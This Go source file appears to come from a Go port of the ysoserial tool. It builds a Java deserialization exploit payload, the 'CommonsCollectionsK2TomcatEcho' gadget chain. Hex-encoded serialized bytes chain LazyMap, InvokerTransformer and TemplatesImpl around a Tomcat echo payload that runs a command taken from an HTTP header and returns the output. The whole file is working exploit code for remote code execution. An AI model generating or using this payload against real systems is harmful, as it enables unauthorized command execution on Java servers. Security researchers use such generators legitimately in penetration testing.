package gadget

import (
	"encoding/hex"
	"github.com/EmYiQing/Gososerial/ysoserial/util"
)

const CCK2TomcatEcho = "CommonsCollectionsK2TomcatEcho"

func GetCCK2TomcatEcho(echoHeaderName, cmdHeaderName string) []byte {
	globalPrefix := "ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6" +
		"C6F6164466163746F724900097468726573686F6C6478703F4000000000000C7708000000100000000173720035" +
		"6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E6B657976616C75652E546965644" +
		"D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B" +
		"4C00036D617074000F4C6A6176612F7574696C2F4D61703B78707372003A636F6D2E73756E2E6F72672E6170616" +
		"368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574F" +
		"C16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F6" +
		"2797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C" +
		"00055F6E616D657400124C6A6176612F6C616E672F537472696E673B4C00115F6F757470757450726F706572746" +
		"965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424B" +
		"FD19156767DB37020000787000000001757200025B42ACF317F8060854E00200007870"
	tomcatEcho := GetTomcatEcho(echoHeaderName, cmdHeaderName)
	tomcatEchoStr := hex.EncodeToString(tomcatEcho)
	length := len(tomcatEcho)
	lenStr := util.Int32ToBytes(uint32(length))
	globalSuffix := "7074000450776E7270770100787372002B6F72672E6170616368652E636F6D6D6F6E732E636F6C6" +
		"C656374696F6E73342E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002D4C" +
		"6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E73342F5472616E73666F726D65723B787" +
		"07372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E" +
		"496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A61766" +
		"12F6C616E672F4F626A6563743B4C000B694D6574686F644E616D6571007E00095B000B69506172616D54797065" +
		"7371007E00087870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C0200007870000" +
		"0000074000E6E65775472616E73666F726D6572757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AE" +
		"CBCD5A990200007870000000007371007E00003F4000000000000C7708000000100000000078787400017478"
	data, _ := hex.DecodeString(globalPrefix + lenStr + tomcatEchoStr + globalSuffix)
	return data
}
